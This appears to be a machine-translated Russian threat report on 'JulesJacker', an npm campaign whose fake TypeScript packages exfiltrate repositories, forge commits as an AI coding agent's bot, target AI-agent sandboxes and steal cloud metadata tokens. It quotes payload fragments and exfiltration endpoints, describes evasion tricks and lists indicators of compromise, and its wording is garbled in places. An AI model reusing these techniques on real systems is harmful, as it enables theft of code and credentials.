TL, д-р
Один оператор npm потратил шесть недель на публикацию поддельных пакетов TypeScript, содержащих "утилиты", таких как... ts-form-utils, ts-project-lint и ts-enum-helper.
Хотя пакеты содержат небольшие, на первый взгляд легитимные вспомогательные средства проверки, реальная полезная нагрузка выполняется при установке или первом подключении и осуществляет идентификацию хоста, обнаружение организации GitHub, клонирование репозитория и утечку исходного кода.
Вредоносная программа нацелена на высокопоставленные организации GitHub, включая множество различных. Shopify затем архивирует и передает доступные исходные файлы в централизованную точку сбора.
В рамках процесса компромисса полезная нагрузка commitФайл sa возвращается в репозитории жертв, имитируя автономную модель программирования Google. google-labs-jules[bot].
Мы отслеживали кампанию — под названием JulesJacker — в рамках нескольких издательских платформ и как минимум пяти поколений полезной нагрузки, включая зашифрованные варианты и варианты, учитывающие особенности песочницы.
Новейший вариант специально нацелен на инфраструктуру анализа вредоносного ПО: он активируется только внутри сред анализа, похищает токены учетных записей служб метаданных облака и проверяет плоскости управления Kubernetes и хранилища облачных данных.
Основной индикатор компрометации (IOC), общий для всех поколений полезной нагрузки, — это конечная точка сбора данных. aaronstack[.]com/jules-collect.
Степень тяжести: критическая.
Атака: как она работает
Все пакеты JulesJacker следуют одному и тому же шаблону. пакет.json Предлагается удобный вспомогательный инструмент для TypeScript с лицензией MIT и без ссылок на исходный код в репозитории. index.js Пакет экспортирует несколько реально работающих функций — регулярные выражения для электронной почты, карты перечислений, таблицы правил линтинга — чтобы разработчик, который действительно импортирует пакет, увидел правдоподобное поведение. Злой умысел кроется в другом месте: в послеустановка крючок или блок внизу index.js Этот модуль запускается в тот момент, когда он необходим.
Полезная нагрузка прошла через четко пронумерованные внутренние этапы (оператор сам присваивает метки своим телеметрическим событиям). sc1-, sc3-, sc4-и так далее), и наблюдение за этой эволюцией — самый наглядный способ понять суть кампании.
Поколение 1–2: разведка и кража git-конфигураций
Самые ранние пакеты представляли собой откровенные программы для кражи информации. При установке они собирали переменные окружения, файл hosts из CLI GitHub и глобальную конфигурацию Git.git конфиг –глобальный –список, git удаленный -vЗатем он отправил пакет данных методом POST на конечную точку сбора. Это позволило установить подпись оператора: прикрытие в виде «утилиты проверки форм на TypeScript», исходящий маяк на один домен и предпочтение учетных данных разработчика данным потребителя.
Третье поколение: зонды для обхода ограничений гипервизора и ядра.
Одна из версий, появившаяся в середине кампании, резко переключилась на атаки на инфраструктуру. Вместо кражи конфигурационных файлов она использовала разведывательную систему для зондирования. AF_VSOCK сокеты, области mirtio MMIO, / dev / memи флаги усиления безопасности ядра, и даже попытки сбоев ядра, инициированные sysrq — поведение, связанное с попытками выйти из виртуальной машины или контейнера. Теги телеметрии (s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, s3-kernel-probe) четко обозначили намерение. Этот вариант явно был нацелен на облачные песочницы и бессерверные среды выполнения — своего рода временная виртуальная машина, которая собирает и тестирует ненадежный код.
Третье поколение (SC3): червь, осуществляющий межрепозиторную запись.
Центром тяжести кампании стал самораспространяющийся вор репозиториев. После установки полезная нагрузка запускает пятиэтапную последовательность действий по расписанию:
- Этапа 0. (~100 мс): определение отпечатка хоста — имя хоста, информация о пользователе, идентификатор Git.
- Этапа 1. (~3 с): определить, к какой организации принадлежит жертва, путем осмотра git удаленный -vзатем найдите жестко закодированный ORG_CONFIG Доступ к таблице и тестовому репозиторию с помощью git ls-remote — маршрутизация осуществляется через контролируемый злоумышленником SSRF-прокси по адресу http://git@192.168.0.1:8080.
- Этапа 2. (~10 с): git clone Для каждого доступного репозитория из целевого списка заархивируйте и сжатьте дерево с помощью gzip, закодируйте его в base64 и извлеките фрагменты.
- Этапа 3. (~45 с): «подтверждение доступа» — клонирование репозитория с возможностью записи, размещение файла с именем SECURITY-POC.md и commit с указанием автора google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com> и сообщением chore: update dependency cache, then push to the victim's mainline branch.
Заданный список целей не является универсальным. Он включает более тридцати целей. Shopify репозитории по названию — Shopify/hopify, Shopify/identity, Shopify/биллинг, Shopify/vault, Shopify/секреты, Shopify/инфраструктура, Shopify/.githubи многие другие — наряду с организацией, проводившей тестирование, АаронСтэкБарнс, который, по-видимому, контролируется оператором и используется в качестве целевого объекта для записи.
Четвертое поколение (SC4): зашифрованное и с ограниченным доступом.
Новейший вариант, предназначенный для разработчиков, добавляет два уровня обхода защиты поверх червя SC3.
Во-первых, полезная нагрузка больше не передается в виде открытого текста. Реальная логика находится в зашифрованном с помощью AES-256-CBC блоке данных. lib/.perf.dat, с вектором инициализации (IV) в первых шестнадцати байтах. Загрузчик в index.js восстанавливает ключ расшифровки из объединенных фрагментов строк, расшифровывает полученный объект и запускает его с помощью новая функция()Даже названия модулей разделены, чтобы обойти статические сканеры. require('crypt' + 'o'), require('f' + 's').
Во-вторых, он зависит от хоста. Один из вариантов расшифровывается и запускается только тогда, когда os.hostname() равняется devbox or ubuntu-fc-uvm (значение по умолчанию для микровиртуальной машины Firecracker) или содержит подстроку devbox. Другие ворота открываются при наличии .jules/ рабочий каталог:
javascript // only fires when a Jules agent workspace is present post('sc4-jules-dir', { cwd: cwd, jules_cwd: readDir(cwd + '/.jules'), jules_app: readDir('/app/.jules') }); Иными словами, полезная нагрузка SC4 разработана таким образом, чтобы оставаться в спящем режиме на обычном ноутбуке разработчика и активироваться только внутри автоматизированного агента ИИ. среды песочницы Оператор на самом деле хочет пойти на компромисс.
Включение лаборатории: вариант с аналитической инфраструктурой
Самый оригинальный пакет в рамках кампании. ts-enum-helperОн вообще не нападает на разработчиков или Shopify. postinstall.sh Начинается все с ворот, которые выдают всю суть игры:
sh # Only run in malysis GKE environment [ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0 EXFIL="https://aaronstack.com/jules-collect" MD="http://metadata.google.internal/computeMetadata/v1" K8S="https://kubernetes.default.svc" Скрипт ничего не делает, если не установлена переменная окружения, специфичная для платформы анализа вредоносного ПО. Если она установлена, полезная нагрузка понимает, что работает внутри песочницы, созданной для обнаружения и изучения пакетов, подобных этому, — и наносит ответный удар.
Сначала он извлекает токен OAuth учетной записи службы GCP с сервера метаданных экземпляра и эксфильтрует его. Затем, используя этот токен, он выполняет сканирование. Плоскость управления Kubernetes доступен в kubernetes.default.svc:
- Отображает список ClusterRoleBindings, ClusterRoles и Nodes;
- проверяет модули, секреты и карты конфигурации по всему серверу. кубе-система, по умолчанию, kube-public, kube-node-leaseи пространство имен анализа;
- Функция SelfSubjectAccessReview вызывает методы для точного определения того, что разрешено делать украденной личности.
В конце концов, он методом перебора подбирает имена сегментов Google Cloud Storage, созданные на основе жестко закодированного идентификатора проекта GCP.rare-signer-437603-p9) и номер проекта, угадывая комбинации, такие как *-сборки, *-артефактыи несколько мализ- префиксы (результаты анализа, пакеты анализа, анализ-сканированиеКаждый код ответа и тело ответа регистрируются и отправляются обратно методом POST на тот же самый адрес. jules-collect конечная точка.
Это редкий случай, когда вредоносная программа, предназначенная для атаки на инфраструктуру самих защитников, создана специально для этой цели. Вся кампания, фрагменты которой появляются внутри вредоносных программ в виде комментариев, описывающих действия как «прототип исследования в области безопасности… запись в другие репозитории через перегруженный токен прокси Git», строится на одном и том же оправдании, независимо от того, является ли целью выполнения монорепозиторий Shopify или сервер метаданных аналитического кластера.
Хронология и масштаб миграции
JulesJacker — это не разовый случай. Это устойчивая операция, которая пережила блокировку со стороны регистратора, просто сменив название.
| После появления | События |
|---|---|
| Середина апреля 2026 г. | Первые пакеты появляются в рамках первоначальной области действия издателя: фасад TS-utility, среда и эксфильтрация git-config. |
| Начало мая 2026 г. | Опубликованы разведывательный вариант гипервизора и механизма обхода ядра. |
| Середина-конец мая 2026 года | Червь SC3, осуществляющий кросс-репозиторную запись, появляется наряду с вредоносными программами, нацеленными на Shopify. google-labs-jules[bot] Имитация личности. В SC4 появились загрузчики с шифрованием AES и загрузчиками, доступ к которым осуществляется через хост. |
| Конец мая 2026 г. | npm удаляет исходную область видимости издателя; имена пакетов разрешаются в пустые заполнители, содержащие информацию о безопасности. |
| В ту же неделю | Оператор переходит к практически идентичной области действия и повторно публикует червя, включая вариант для аналитической инфраструктуры. |
Миграция — это тот аспект, с которым защитникам следует задуматься. Удаление первого прицела не положило конец кампании и даже не замедлило её. Оператор уже создал параллельный прицел, название которого отличается от оригинала всего одним символом, и продолжил публикацию в течение той же недели. На момент написания этой статьи новый прицел... ts-form-utils (версии с 1.0.0 по 1.1.0), его ts-project-lint (1.0.0 и 1.1.0), а также автономная версия. ts-enum-helper (1.0.0) остаются устанавливаемыми.
Показатели компромисса
Все приведенные ниже показатели были подтверждены на основе исходного кода пакета.
| Тип | Индикаторные | Заметки |
|---|---|---|
| Сеть (C2) | aaronstack[.]com/jules-collect | Единая точка сбора данных для всех поколений; принимает телеметрию в формате JSON и фрагменты архива репозитория в формате base64-gzip. |
| Сеть (SSRF-прокси) | http://git@192.168.0.1:8080 | Фронтальная копия для расширенного токена прокси Git, используемого для доступа к репозиториям целевой организации. |
| Сеть (облако) | metadata.google.internal/computeMetadata/v1kubernetes.default.svcstorage.googleapis.com/storage/v1/b | Используется только вариантом инфраструктуры анализа для кражи токенов и разведки плоскости управления Kubernetes. |
| Личность | google-labs-jules[bot]161369871+google-labs-jules[bot]@users.noreply.github.com | Кованый commit Идентификация автора перенесена в основные ветки сети, являющиеся объектом атаки. |
| Файл | lib/.perf.dat | Зашифрованный с помощью AES-256-CBC блок полезной нагрузки; вектор инициализации (IV) хранится в первых 16 байтах, а ключ динамически восстанавливается. index.js. |
| Файл | SECURITY-POC.md | Упал и commitвозвращено в хранилища жертв с сообщением chore: update dependency cache. |
| Файл | scripts/postinstall.sh | Огороженная территория $MALYSIS_ANALYSIS_ID; определяет вариант, нацеленный на аналитическую инфраструктуру. |
| Поведенческий | os.hostname() проверяет devbox / ubuntu-fc-uvm | Ограничение доступа к среде песочницы и агента ИИ перед расшифровкой и выполнением полезной нагрузки. |
| Поведенческий | .jules/ и /app/.jules чтение каталога | Явное нацеливание на рабочие среды агентов ИИ. |
| Поведенческий | sc1-, sc3-, sc4-, s0-vmm-recon | Настраиваемые оператором метки этапов телеметрии, полезные для обнаружения и поиска. |
| Облачная цель | rare-signer-437603-p9malysis-* предположения о ведрах | В варианте с аналитической инфраструктурой заложены жестко заданные идентификаторы проектов GCP и шаблоны перечисления сегментов хранения. |
| Форма упаковки | Фасад пакета TS-utility без поля репозитория | Последовательная схема кампании: поддельные пакеты утилит TypeScript со встроенным вредоносным содержимым. postinstall hooks или приложенный к index.js. |






